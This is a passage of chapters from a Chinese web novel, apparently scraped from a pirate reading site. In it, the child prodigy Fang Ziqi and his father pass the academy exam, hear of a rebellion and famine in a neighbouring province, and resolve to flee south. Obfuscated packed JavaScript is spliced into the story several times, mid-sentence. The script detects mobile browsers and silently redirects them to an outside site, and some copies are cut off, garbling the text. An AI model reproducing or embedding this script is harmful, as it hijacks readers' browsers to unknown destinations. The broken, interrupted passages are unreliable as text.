“若非你这卑鄙小人夺我功名!我…我岂会榜上无名!” “方子期!” “真小人!” “我孙知白同你不共戴天!不共戴天!” 孙知白一边抖动着身体,一边红着眼疯狂咆哮…… “哦。” “原来你落榜了。” “怪不得这么生气。” 方子期点点头,他算是理解了。 “走吧爹!” “现在家里面估摸着不少人了。” “娘一个人支应不过来。” 方子期一边说着话,随即带着众人往外走,主打的就是一个随意轻松。 孙知白见状,一口气没顺上来,直接泛着白眼晕了。 第121章 做不了官一代,就做官二代 从外面寻到周夫子。 周夫子此刻显然已经知晓了方子期的成绩,一脸的春风得意。 “子期!不错!” “小试牛刀就拿了个案首!” “嗯!” “秉律也不错,拿了第五名!” “我家子期,还是一如既往地稳定发挥。” “场场都是第一名!” “县试是案首,府试是案首,院试亦然!” “清如啊!” “你啊你。” “早就同你说了。” “不要随意同我攀比。” “为兄毕竟年长你几岁。” “为兄吃过的盐可比你吃过的饭还要多!” “你这家伙,总也不信!” “以后记住了!” “切莫要赌了!” “尤其不要同我赌!” “你赢不了的!” 周夫子一边抚须,一边感慨似的看向顾清如。 那摇头晃脑的样子,是真欠打啊! 顾举人的嘴角跟着直抽抽…… 他学生周秉律本次在院试上作的文章极好,他料定了会有个好名次。 只是没想到方子期这般逆天! 直接就夺了案首。 这还怎么玩? 你手握王炸,我就算是摸尽底牌也枉然啊! “老匹夫!” “你运势是真好!” “子期这般百年难出的天才偏偏被你给遇见了!” “以子期之才,哪怕牵条狗给他当老师,也能中案首。” “你就少往自己身上揽功了!” 顾举人咬牙切齿道。 “彼此彼此……” “秉律何尝不是如此?” “不过……” “今日醉仙楼的宴席,你可别想省了!” “待我们先归家!到了午时,醉仙楼见!” 周夫子今天的心情可真好。 这可是他的高光时刻! 所教导的四个学生。 三个院试中榜!其中有一个还是案首! 就是砚秋…可惜了。 临行时,周举人特地交代,让方子期将家人也一并带上,不然他是会生气的。 “砚秋。” “你之文章功底其实不差。” “此番院试到底是差了些运势。” “你的文风不契合那位柳大宗师的文章。” “说起来,若是那位崔大宗师还在的话,你说不定已经中榜了!” “可切莫要灰心!” “好好读书。” “来日再考!” 周夫子勉励道。 “多谢夫子。” “学生知道自己短处。” “此番下场能得童生功名已十分满足了。” “待学问再精进些,再去参加后年的院试!” 方砚秋郑重其事道。 “如此就好。” 周夫子点点头,脸上笑意不断。 往前方走了几步,在一偏僻处,寻见了方虎。 “虎叔!” 方子期笑着打了个招呼。 “可中榜了?” 方虎略显紧张,又带着一丝憨厚道。 “虎兄!” “子期中了案首。” “我也中了个十八名。” 方仲礼颇为不好意思地笑道。 此刻他也算是回过味来了。 他能得到如此高的名次,恐怕是他宝贝儿子在柳大宗师面前施展的情感牌奏效了! 否则他就算是有机会中榜,也定然无可能名次这般好。 “子期是案首?” “好!” “好啊!” “院试案首!” “不愧是我方族的麒麟儿!” “我就知道子期行!” “来日,至少也得是个举人…不…至少得是进士!” 方虎笃定道,随即看向方仲礼。 “仲礼!你也厉害!” “你们父子都厉害!” “之前听秦夫子说什么父类子,果真如此!” “仲礼!” “你读书的天赋定是子期遗传的……” “额……” 方虎说着说着,怎么感觉这话有些不对味,但是此刻他又不知道怎么给圆回来了。 遂干脆尬笑了几声。 方仲礼两手一摊。 父类子就父类子吧。 反正他都习惯了。 在吾儿的案首光辉下,带带他这个学渣老爹也挺好。 旁人啃老,我啃小! 我做不了官一代,那我就做‘官二代’! 方仲礼心中如此想着,顿感甜蜜。 一路上,都是欢声笑语。 就连方砚秋,此刻也摒弃了未曾中榜的颓败,由衷地为大家高兴。 …… 等众人回到家时,苏静姝和大丫他们已经站在门口守着了。 看着自家的大青骡车由远及近,苏静姝和大丫等人的心都跟着吊了起来。 等众人下了大青骡车,大丫一个箭步冲了过来。 “爹!” “阿弟!” “中了吗?” 大丫顺手捞起来方子期,习惯性地抱在怀中。 方子期略微挣扎了下,没挣扎开。 “中了阿姐。” “爹中了院试第十八名呢! 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自家宝贝儿子就是最好的。 “苏婶。” “格局小了!” “以子期之才!将来娶个公主都不在话下!” 花允谦趁机笑着道。 方子期眼看着这形势不对啊,怎么都拿他开涮? “娘!” “当时还有好些个富户拦着爹呢!” “说是虎子无犬父,都想着将家里面十六七岁的女儿嫁给爹!” “娘!” “可不是一家两家这么说,少说也有十多家相中了爹!” 方子期说得有鼻子有眼的。 方仲礼脸上的笑容消失了。 方子期脸上的笑容多了起来。 这孽子! “当真有此事?” 苏静姝秀眉一皱,当即看向方仲礼。 方仲礼一脸慌乱地摆手。 “娘子,你别听子期瞎咧咧,没有的事……” “我一家都没应……” “她们在我眼里就是红粉骷髅,哪有娘子来得体贴入微!” 方仲礼连忙大表忠心。 “没应?” “这么说…是动了心思了?” 苏静姝再度看向方仲礼。 方仲礼一脸苦笑,瞪了方子期一眼后,随即又在低眉顺眼地给苏静姝说尽好话。 第122章 一条瘸腿,断了青云路 “我告诉你!” “你要是敢学你大哥,在外面乱来,搞大了人家肚子,我就将你那不争气的玩意儿给剪了!” 苏静姝霸气宣言。 方仲礼满头冷汗。 娘子啊! 这话咱们关起门说说就好了 现在这么多人呢! 多是晚辈,还有周夫子这个长辈,给我留点脸啊! “是是是!” “都听娘子的!” 方仲礼连忙点头。 这个时候。 远处突然传来一阵吹吹打打的声音。 几个衙役手捧着大红花和报单。 这报单就是一张大红纸,长约一米,宽约大半米,上面通常会书写“捷报某某地某某某,蒙钦命柳学政取中院试多少名。” “哪位是方子期方老爷?” 领头的衙役扯着嗓子道。 其实秀才压根不能称之为老爷。 但是这衙役为了让主人家开心,也就尊称为老爷了。 “我就是方子期。” 方子期走上前,拱手道。 “恭喜方老爷高中院试第一名!” “这是捷报!” “方老爷果然是一表人才!人中龙凤啊!” “如此年龄就高中院试案首!将来也定然是解元公!状元郎!” …… 为首的衙役专门就是吃这口饭的,这好话说了一箩筐。 苏静姝眼睛瞪得大大的,也在一旁痴痴地笑。 吾儿! 中秀才了! “娘子!” “快拿喜钱!” 方仲礼连忙低声道。 “啊?” “是…是……” “你看我,一高兴就糊涂了。” “衙役大哥!” “多谢你们跑一趟了!” 苏静姝原本是准备了几十个铜板当喜钱的。 但是想了想,没将铜板拿出来。 而是掏出了几个银豆子,一个银豆子差不多一钱银子,几个那就差不多半两银子了。 庄户人家,能拿出半两银子的喜钱,那已是极了不得的了。 为首的衙役拿过钱包摸了摸,见里面是银子,当即又说了几箩筐的好话。 “方老爷!” “我们还要去下一地报喜……” “嗯……差点忘了!” “实在该打!” “不知哪位是方仲礼方老爷?” 为首的衙役又高喝了一声。 “是我!” “我就是方仲礼!” 方仲礼连忙从人群中挤过来,此刻声音都跟着洪亮了不少。 “呀!” “实没想到两位秀才相公居然是一家人!” “当真是书香门第啊!” “小的有眼不识泰山!得罪了!” “恭喜方仲礼方老爷高中院试第一十八名!” “这是捷报!” “方老爷!您收好了!” “方老爷!小方老爷!” “要是没什么事,我就先走了!” 为首的衙役已经准备离开了。 总不能一家讨要两次喜钱吧! “衙役大哥!” “这喜钱还没拿呢!” 苏静姝可不想在这上面省银钱。 今天实在高兴! 撒钱也开心! 当即又拿出几个银豆子装在钱包内递了过来。 为首的衙役顿时喜笑颜开,又补说了一大箩筐的吉利语才离开。 眼看着这方宅门前敲锣打鼓的,朱雀街上的邻居纷纷凑上前恭喜。 有的干脆直接送上了一笔礼钱。 你若不收,那就是看不起他。 方仲礼和苏静姝一时间忙得脚打后脑勺。 方宅动静极大。 欢声笑语不断。 方子期忍不住瞥了一眼隔壁…… 这朱正恩家…… 怎么如此安静? “爹!” “你在黄榜上可曾看到我同窗朱正恩的名字了?” 方子期忍不住询问道。 方仲礼愣了愣,随即摇摇头。 “不曾。” “许是没中榜吧。” 方仲礼道。 方仲礼刚说完,苏静姝就忍不住在一旁叹息。 “什么没中榜!” “是压根没参考。” “我听张家娘子说,因为正恩那孩子腿瘸了,在报名的时候就被刷下去了。” “他们家也没什么银钱打点,所以连考试的资格都被剥夺了。” “哎!” “张家娘子的眼泪都哭干了。” “寒窗苦读那么多年。” “到头来却得了个瘸腿……” 苏静姝说到此事,不由得扼腕叹息。 “这些日子,我怕这些事打搅你们考试,就没同你们说。” “张家娘子说。” “因正恩那孩子断了科举路,朱氏家族的那些族老们已经逼着他们搬出宅 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临行前,方子期还特地嘱托发小赵满仓帮忙多照料一下阿黄。 回头那幼崽,方家还准备养着呢! 方子期特地嘱咐自家娘亲今日不用煮饭。 到了午时,一大家子乘坐大青骡车直接去了醉仙楼。 这醉仙楼算是府城最好的酒楼了。 以酒菜昂贵、食材新鲜著称。 因今天是顾举人请客,所以周夫子在点菜的时候就遵循一个原则,什么菜贵点哪个! 周夫子仔细扫了一眼桌上的菜单,一脸从容道: “既是清如做东,大家都不必拘谨了!” “这道‘龙凤呈祥’听着就气派,来一份吧!” “还有这‘红煨驼峰’滋味亦是极好!” “唔!醉仙楼的‘冰糖炖血燕’最正宗!小二!照着人数,一人来一盅!” “哦对了……” “还有那‘一品豆腐’,也是醉仙楼的名品!据说都是在后厨用高汤煨了三天的,滋味极鲜美!” “价格不价格什么的另说。” “咱们点菜,必须要配得上顾大举人的身份才是!” 说话间,周夫子一脸欣慰地看向顾举人。 第123章 苍天已死,**当立 “只要你吃得下!尽管点!” “反正吃完这顿,你就要头悬梁锥刺股地好好读书了!” “读书前补一补身体也是应该的!” “周兄啊!你放心!” “回头我会经常去看望你的!” “顺便替老师监督监督你的学业!” “你可千万不要懈怠才是!否则我可是会替老师打你手板的!” 顾举人嘴角含笑道。 这两个老顽童…… 一见面就掐,关键是关系还贼好。 “哼!” “用不着你费心!” 周夫子满脸不屑道。 不得不说,这醉仙楼的菜,确实不错。 方仲礼同周夫子顾举人各自喝了些酒。 方子期因为年龄太小,只能大口朵颐吃肉了。 大丫二丫不停地给他夹菜,所以方子期的碗里面,一直都是满的。 饱餐一顿,顿感全身舒畅。 “这醉仙楼果真是名不虚传啊!” “比禾阳县的各大酒楼的菜味好得太多了。” 花允谦忍不住赞誉道。 他爹就是禾阳县县令,所以禾阳县内的大小馆子,早就被花允谦这个吃货吃了个遍。 此刻能够得到他如此评价,表明这醉仙楼确实不差。 酒过三巡,菜过五味。 顾举人同周夫子之间的话就跟着密了许多。 谈天论地,倒是好不痛快。 周秉律今日倒是没来。 顾举人说他家里人今日要给他摆庆功宴。 “左骑军马上要征召兵役之事,你们可知晓?” 顾举人长长地吐出一口浊气,此刻突然提及这个话题。 说起这个,方子期顿时就放下了碗筷。 “顾叔。” “先前秉律兄倒是同我说过一些。” “此事保真吗?” “这左骑军既是晋王私军,晋王如今大张旗鼓地招兵买马,难不成是要打仗了?” 方子期直接切入主题。 “打不打仗,暂时还未知。” “但是左骑军征召兵役之事应当是**不离十了。” “我估摸着,顶多再有一月时间,就该大张旗鼓地张贴告示了。” “好在子期你同你爹都已中了秀才,按例,是可以免除兵役的。” “不过…临近的山岱省…爆发了叛乱。” “有一名唤黄角的人,举起了反旗。” “手底下**了一群悍勇之人。” “据说已经占领了山岱省的好几个县城了。” “贼势凶猛。” “山岱省的地方军队屡屡受挫。” “这黄角打出的旗帜就是替天行道!” “依他所言,苍天已死,**当立!” “所谓的**,不就是他黄角吗?” “他每下一城,都开仓放粮,诛杀当地豪绅之家,倒是**了不少民心。” “据说他所到之处,那些百姓皆夹道相迎!” “甚至在山岱省中已有谣言称:跟着黄角将军,就可以吃饱饭。” “你们也知道现如今山岱省是个什么情况。” “已然到了人相食的地步了。” “为了一口吃的,易子相食早已不是什么新鲜事。” “这种情况下。” “黄角打出跟着他就能吃饱饭的旗帜。” “所到之地,百姓无不蜂拥追随。” “据说这个黄角裹挟的百姓已有十万之众!” “照此形势下去。” “山岱省…恐怕是撑不住了。” “而且除了这个黄角之外,山岱省各地…也出现了不少反民。” “而我们汉江省毗邻山岱省……” “若是贼势再扩大下去。” “未必不会波及到汉江省。” “再者说,汉江省素来是产粮大省。” “虽受天灾影响,减产颇多,但是官仓之中还是有不少粮食的。” “若是这个黄角选择南下汉江省,恐怕一场兵乱是免不了的了。” “左骑军征兵,倒也未必就是为了争夺储位,也有可能是为了防范山岱省的叛匪。” 顾举人说起此事的时候,脸色显得很严肃。 周夫子微微叹气道:“好在我们宁江府不是最靠近山岱省的地方,若是叛匪真的南下,前面至少还有汇川府作为缓冲地带。” “叛匪真要是杀过来,汇川府首当其冲啊!” “哎!” “也不知到时候汇川府的府军能否挡得住叛匪。” 周夫子蠕动着嘴唇,难免有些担忧。 方子期默默倾听着顾举人和周夫子之间的交谈。 然后将这些讯息记住,展开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244271|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全面思考。 “顾叔!” “若是叛匪真杀过来了。” “我们汉江省的省城通衢府是否要安全一些?” 方子期忍不住道。 “嗯?” “安全倒是可能会安全一些。” “毕竟省城通衢府更靠南了。” “而且通衢府靠着青澜湖,如果叛匪真的杀去了通衢府,还有机会渡过青澜湖前往对面的苍梧城。” “这青澜湖到时候就是抵挡叛匪天然屏障!” “不过……” “按理来说,这叛匪应该杀不到通衢府的吧……” “毕竟咱们汉江省有晋王在,有晋王的左骑军在,这左骑军可是精锐!可不是区区叛匪所能够抵挡的。” 顾举人说起左骑军,脸上不由得露出自信神色。 方子期则不然。 什么精锐不精锐的…… 都是狗屁! 所谓的精锐大概率也就是武器甲胄好一些。 但是从山岱省杀出来的叛军,那可都是从尸山血海中爬出来的。 更有甚者,可能都是人相食后的产物。 就这样的存在,到了战场上,是那些多年不见血的左骑军能够对抗的吗? 叛军打的就是朝廷精锐! 如果这叛军无法直接消灭在山岱省内…… 那到时候恐怕麻烦就大了! 再加上现如今朝廷还有储位悬而未决的隐忧在。 可以说现如今的大梁朝真是内忧外患啊! 而且据方子期所知,这大梁朝立国已经快三百年了。 众所周知,这三百年就是个坎。 说不定…就改朝换代了。 原本方子期对是否征召兵役还持有一丝怀疑的态度。 但是现在。 他基本上已经笃定。 这一波,兵役是逃不了的了。 还好他和他爹都中了秀才。 不然还真玩完了。 不过…… 他三叔、还有虎叔,乃至于更多方氏族人家里面,这一次能躲得过去吗? 这**的世道…… 酒桌之上。 氛围依旧。 只是方子期此刻俨然没有了继续大快朵颐的兴致了。 这世道。 乱了啊。 要打仗了啊。 邻省都有叛军了。 汉江省还会远吗? 第124章 拜谒大宗师,花县令的晋升 大旱大灾,最易生出大乱来。 方子期之前一直祈祷着老皇帝别那么早噶,就是怕老皇帝噶了后,那些个皇子王叔因皇位之争而大打出手。 但是千防万防,没想到山岱省那边抢先一步出了叛军! 皇位之争,就算是打仗,很多时候都是点到为止,很少会发生大规模的厮杀,毕竟都沾亲带故的,基本上诛杀了首恶后,也就不会造就过多的杀伐了。 可山岱省那些经历了人相食后的叛军真要是来了汉江省。 汉江省会是怎样的人间炼狱? 有些事,是真不敢想。 将汉江省变成下一个山岱省? “允谦兄。” “你爹是不是要升任了?” “你爹这一次能升到什么职务上?” “有可能去京城吗?” 方子期好奇道。 “啊?” “其实左右不过那几个位置。” “靠山硬的,有可能升到六部去当主事,六部主事那可是正六品官职,既是京官还是实权京官,不过想从知县直接升任六部主事的机会太渺茫了,除非你血统纯正,我爹后台关系又不硬,可能性不大。” “至于调去都察院担任正七品都事或是去大理寺担任正七品评事等等……这些可能性也不大,虽然都是正七品,县令也是正七品,算是平调,但是京官清贵,地方官碰瓷不了的,说白了,没后台根本玩不转!” “剩下的最好情况就是升任府同知,府同知是正五品,除非这个县令立下大功,否则也是极难的。” “像我爹这样的,纯粹还是因为方叔敬献了曲辕犁还有出了子期你这个神童,使得他在教化上得了些功绩,要不然政绩评价压根得不到优。” “说起来,子期,我爹这一次有机会升迁,全都是子期你的功劳啊!” “不然就他那整日里勾栏听曲的德行,再过十年,也没机会升迁!” “像我爹这种后台不咋地的。” “就算是升迁,我估摸着也就是平调个府里的正七品推官,或是升任个府里的正六品通判,亦或者是出任一些散州的知州,一般的散州知州从五品,也算是知县常见的晋升职位。” 花允谦摇头晃脑道。 “这样么?” “允谦。” “那你最好让你爹找关系运作一下。” “调到南方去当官。” “哪怕是不升官,只是平调个南方的知县或者是南方某个府衙的七品推官也是好的。” “这仗真要是打起来。” “咱们宁江府乃至于整个汉江省都是不稳定的。” “到时候别说是勾栏听曲了,这叛军真要是杀来了,命都有可能保不住。” “允谦兄。” “你可得好好劝劝花县令。” 方子期一脸凝重道。 花县令对他有恩,他自然不希望花县令被叛军所杀。 花允谦此刻也收起了那副玩世不恭的表情,当下的神色变得格外凝重起来。 “子期,多谢你提醒。” “不然我还真想不到这一茬。” “这官当不当都无所谓。” “但是最起码要保住性命才是啊!” “等我回禾阳县,我立即就让我爹去找关系。” “哪怕散尽家财。” “也要找个远离山岱省和汉江省的位置。” “子期!” “多谢了!” “你这是救了我一大家子啊!” 花允谦郑重其事道。 “允谦兄,你言重了。” “回头你爹真要是在南方哪个地方当了官,说不定我到时候还要去投奔你呢!” “这遭瘟的世道。” “有个当官的靠山太重要了。” 方子期此刻说得倒是大实话。 “额……” “子期,听你这意思,你这是想要搬家?” “你这……回禾阳县后不准备回府城了?” “子期,你打算去哪?” “我同你一起啊!” “你可别撇下我!” “不然我一个人多无聊啊!” 花允谦急了。 好不容易遇到几个知己朋友,这要是分开了,那可就真难过了! “暂时还没想好呢!” “且先看看吧!” “如果山岱省的叛军真打进来了。” “那就必须要走了。” “那些人相食的人我遇到过,一个个的全都没了人性。” “大灾大旱固然可怕,但是更可怕的还是人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244272|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祸。” 方子期的小脸上露出不合年龄的成熟。 “子期!” “反正不管怎样!” “你要走的话,一定要通知我!” 花允谦抬起头,脸上露出坚定神色。 “放心吧允谦兄。” “定会通知你的。” “我也就是说说。” “万一山岱省的叛军打不到汉江省来呢!” “万一晋王的左骑军真的所向披靡呢!” 方子期宽慰道。 “子期,你都说了,那是万一……” 花允谦的脸上显得格外纠结。 “你们在说些什么呢!” “吃饭都堵不住你们的嘴!” 二丫此刻忍不住给方子期喂了一大口鸡肉道。 “二姐,没说什么。” “谈经论道呢!” 方子期打了个哈哈。 第二天,方子期没着急回禾阳县,而是带着方仲礼和花允谦去拜访了那位柳大宗师! 毕竟方子期他们已经是秀才了。 名义上,这位柳大宗师就是他们的座师了。 这个时代,还是很讲究尊师孝道的。 “学生方子期!” “学生方仲礼!” “学生花允谦!” “见过学政大人!” 三人恭敬行礼道。 “嗯!” “子期!” “这位就是你那在狗窝求学的父亲吧?” “他之文章我仔细看了。” “虽质朴,但是文字之间颇有张力!” “若非幼时求学被耽误了,恐怕成就不会止步于此啊!” “农家子走上科举路,实乃不易也!” “然仲礼你即便在狗窝中亦能潜心求学,当是吾辈读书人之表率!” 柳承嗣忍不住赞誉道,目光是满是欣赏。 毕竟大家都是同道中人!都同狗有缘! “学政大人谬赞了。” “学生愧不敢当。” 方仲礼一张脸此刻早已涨红。 他先前也就在敬献曲辕犁的时候同县令大人说过话。 但是眼前这位可是正四品的学政大人啊! 方仲礼感觉压力山大。 这官威太强烈了! 方子期甚至发现他这老爹的腿脖子都在颤动…… 第125章 座师柳承嗣,孟捕头的提醒 毕竟第一次见到这么大的官…… 倒也能够理解。 说话的时候没结巴,就算是不错的了。 “嗯!” “不卑不亢,有礼有节,倒是不错。” “你们三人既中了秀才,今后可有什么打算?” “可愿在科举之道上更进一步?” 柳承嗣抬起头,忍不住询问道。 说是询问三人,主要还是在询问呢方子期。 因为柳承嗣的目光基本上都在方子期身上。 此子的忠君之道,与自己太契合了! 若非年龄相差太多,柳承嗣都想结为兄弟了! 此乃知己也! “不敢欺瞒学政大人!” “自当意愿更进一步。” “书山有路勤为径!” “学海无涯苦作舟……” “吾辈农门,只能砥砺而行!” 方子期郑重其事道。 “好!” “好一个书山有路勤为径!” “学海无涯苦作舟!” “道出了我农门学子之气魄!” “等案临完余下几府的院试后。” “我就该回通衢府了。” “届时若是你们愿意来省学求学。” “我可为你们引荐!” “省学之资源,到底是比府学好许多。” “在省学之中,你们的见识也能更广泛一些。” “尤其是子期。” “你之天赋,是我平生所见最优秀者!” “切不可浪费了你之天资!” 柳承嗣叮嘱道。 方子期悠然一叹。 贵人! 又是贵人! 这一路上遇到的贵人可真太多了! 进府学时候,花县令和王知府抢着为自己引荐。 现在自己若是想去省学,这位柳大宗师又愿意为自己铺路。 方子期郑重其事地行了个学生礼。 “多谢学政大人!” 方子期目光诚挚道。 “还叫学政大人?” “怎么?” “我这个座师,当真就这般不值钱吗?” 柳承嗣故作愠怒道。 “多谢老师!” 方子期顺杆子就往上爬。 虽然只是个名义上的老师名头。 但是有了这么个名头,在汉江省,方子期完全可以像螃蟹一样横着走了。 而这位柳大宗师也只是乐意让方子期称他为老师。 至于方仲礼和花允谦仍旧称其为学政大人的时候,柳承嗣反倒是显得很欣慰。 接下来。 柳承嗣又考教了一番方子期的学问后,才让众人离去。 出了府邸后。 方仲礼重重地松了口气。 顿感腰也不酸了,腿也不颤了。 “大宗师就是大宗师。” “官威果真不俗!” “子期!” “这大宗师显然是相中你了!” “以后可得好好恭敬着些!” “以后每年也要备上一份年礼才是!” 方仲礼提醒道。 “知道了爹!” “今天不是给他带了卤肉和红烧肉吗?” 方子期打了个哈哈道。 他现在心思压根不在这上面。 至于科举…… 最早的乡试也要到后年了。 也就是说,还有近两年的时间呢! 准备两年时间,对于方子期来说最重要的事情是保命…… 这山岱省的叛军也不知道现在打到哪了。 这个时代,车马慢吞吞的,消息传得更不快。 万一被打个措手不及怎么办? 等回了家后,方子期又带了一份礼物去拜访了王知府。 虽然院试的时候,这位王知府对他爱搭不理的,但是方子期明白,这也是在避嫌。 毕竟这院试是大宗师的主场,他这个知府就是个陪衬。 “难为你还能记得老夫。” “我知你必定能中榜,只是没想到柳学政居然点了你的案首。” “看来这位柳学政当真是惜才啊!” “不过…学无止境!你也莫要懈怠!” “继续苦读!争取后年一举在乡试中榜。” “另外……” “这宁江府的府学师资水平实在有限,我建议你最好还是前往通衢府的省学读书。” “若你没有门路,我亦可以代为引荐!” “最好,你带着家人也一起去通衢府,彼此也能有个照应。” “非必要,暂时就不要回宁江府了。” “宁江府的流民,太多了。” “现在有点乱。” 王知府一边品茗,一边不留痕迹地提醒道。 方子期心中一惊。 形势…当真已经到了这个地步了吗? 连这位王知府都没什么信心了吗? 王知府提醒方子期带着家人前往省城通衢府,非必要,暂时不要回宁江府。 这表明王知府对于宁江府的未来持有悲观态度。 方子期接下来又旁敲侧击地打听了一下,但是这位王知府不愧是老油条了,就是一直跟方子期绕圈圈…… 等从知府衙门离开后。 方子期仍旧忧心忡忡。 “方小相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随即孟断水的目光朝着两侧扫了一眼,低下头来凑到方子期耳边沉声道: “方小相公,最近府城已经有不少大户都搬迁走了。” “我虽不知道究竟出了什么事。” “但…恐怕跟这世道也有关系。” “方小相公若有门路,最好还是出去避一避吧!” 孟断水说完,随即又恢复了那副爽朗姿态,对着方子期拱拱手就离去了。 第126章 我那妖怪堂弟又双叒叕回来了 回到家后。 方子期还在琢磨孟断水的话。 “爹!” “娘!” “情况不对啊!” “按照孟捕头所言,宁江府的大户都跑了不少。” “你可以不相信那些大户们的仁德,但是一定要相信他们的眼光。” “春江水暖鸭先知!” “我估摸着……” “这宁江府是真要乱了!” “山岱省的叛军……” “极有可能要打过来了。” “爹!娘!” “这宁江府…最好还是不要待了。” “回头咱们收拾收拾,南下去省城通衢府吧!” “省城毕竟要更安全些。” “而且,去省城求学,对我和父亲都有好处。” “后年的乡试都是要在省城举行的。” 方子期郑重其事道。 方仲礼和苏静姝对视一眼。 此刻两人稍显得有些木讷。 “子期。” “还没到那一步吧?” “顾举人不是说,咱们汉江省有晋王的左骑军,叛军打不过来吗?” “而且咱们前面还有个汇川府在挡着。” “再怎么样。” “我们还是有缓冲时间的。” 方仲礼犹豫道。 故土难离。 有这个心思很正常。 “爹!” “兵败如山倒!” “宁江府的大户都已经开始跑了,那更近的汇川府呢?恐怕大户早跑完了。” “至于晋王的左骑军……” “那位晋王当真就愿意让自己手中的宝贝疙瘩同叛军硬碰硬吗?” “而且,硬碰硬就能打得过吗?” “从山岱省出来的叛军。” “那都是一群从**堆爬出来的悍匪!” “爹!” “咱们不能拿自己的小命开玩笑!” “不仅仅咱们自己走!” “最好鼓动宗族,大家一起走!” “真要是天灾,倒还真没那么可怕。” “但这种人祸……” “一旦控制不住,就是赤地千里!” “爹!” “若是咱们汉江省成了第二个山岱省。” “到时候人相食、易子相食……” “您舍得将我送给别人吃吗?” 方子期坦然道。 只此一句,方仲礼眼珠子瞬间瞪大。 “走!” “必须要离开宁江府!” “回去收拾一下!” “马上就走!” 方仲礼点了点头,目光前所未有的冷静。 “回去后。” “将田地宅院都卖了……” “那这个宅院……” 方仲礼指了指这座府城的宅院。 这个要是卖了,还能置换个上千两银子的。 “卖!” 方子期一言敲定。 宅子是死的,人是活的。 况且。 按照方子期的想法,短时间内也不会再来宁江府了。 随即众人在宁江府多耽搁了两天。 至于这宅院的价格,原本方子期还以为能卖个上千两银子的。 但是现在出价最高的居然只有五百两。 牙人无奈苦笑:“就这价格,那还是因为人家听说这是小三元公住过的宅子,有文气在,所以才愿意出这个价格。” “最近市面上也不知是怎么了。” “突然冒出来许多宅院在卖,其中也不乏一些豪宅。” “方相公!方小相公!” “现在顶天了,也就是这个价了!” “可能再过几天,这个价都找不到了。” 牙人苦笑道。 方仲礼和苏静姝的目光看向方子期。 现在他们已经习惯性地让方子期拿主意了。 “卖!” 方子期只一个字。 随即签订契书,到官府过了文书,宅子就算是卖掉了。 到了知府衙门,有孟断水这个捕头帮忙引路,一切都显得很顺利。 “方小相公,你们这是想好了?也准备走了?” 孟断水沉声道。 “嗯!” “我本来就打算去省城求学。” “再加上最近确实有些乱,就先走一步了。” 方子期点点头道。 “方小相公,你是有大气运在身的,既然你这么说,那准是没错了。” “回头…我让我家人也往南边跑一跑。” “方小相公,后会有期!” “希望…还能再见面!” 孟断水拱拱手,言辞中多了一分别样情绪。 卖完了宅子。 赶了个大早,又租赁了两辆大青骡车,加上方家自带的大青骡车,一共三辆马车,直奔禾阳县而去。 虽然他们在府城只是待了几个月,但是毕竟是居家过日子,东西还真不少。 虽然大多数都卖了,但是还余下不少好东西带回来了。 回到禾阳县,匆匆住了一晚。 第二天一大早,一家人就准备往柳溪村去! 临行前。 方仲礼习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你堂弟八岁中的院试案首,你十岁下场,中个府试案首如何?” “以后,你每日课后都到我这里来,我额外再给你授课一个时辰!” “今后你的课业也要比学堂的其他学生要多一倍……” “还有……” …… 一想到夫子看向自己泛着光的目光,方文舟就忍不住一阵抽搐。 第127章 县令报喜,族犬通灵 不在绝望中爆发,就在绝望中灭亡…… 被刺激了后。 方文舟当夜就病倒了。 所以休假几天在家歇息。 否则今日方子期等人来,还真无人开门。 一路直扑柳溪村! 十月的风,掠过田埂。 带着几分沉甸甸的暖意。 稻田将柳溪村酿成了金黄的色彩! 成片的稻穗早已褪去了盛夏的青嫩,稻穗儿将稻杆压得微微低垂。 那模样,倒是像极了农人弯腰劳作时的诚恳姿态。 漫天稻香起! 带着快意归! 刚到柳溪村村口。 方仲礼就看到了几道熟悉的身影! “方家老二归家了!” “秀才公回来了!” “嘘!可不敢再称方家老二了!该改口叫老爷了!” “我听说外面称呼秀才公都叫秀才相公……” “方家是真出人了啊!一门三秀才!不是我们这些锄地汉子能比的了!” “这方家老大不是读书读到四十岁才中的秀才吗?这老家老二读书才几年?怎么就中了秀才?还有那子期……那八岁啊!昨日县衙来报喜的人说,可是中了院试案首呢!” “这子期确实是……不管是县试、府试还是院试,试试都是案首!次次都是第一名!” “老方家!是真发达了!恐怕是真要出个举人老爷了!” “去!快去通知族长!” “族长之前就打过招呼了,只等着子期归家,就要开祠堂!给祖宗上香!通禀祖宗这个好消息,让祖宗也能高兴高兴!” “回头我可要好好去看看这老方家的祖坟埋在哪了,这可是风水宝地啊……回头我爹**也埋那,说不定还能保佑我家也出个秀才公……” …… 因昨日县衙已有人来方家老宅报过喜了。 而且还是县令大人亲自来的! 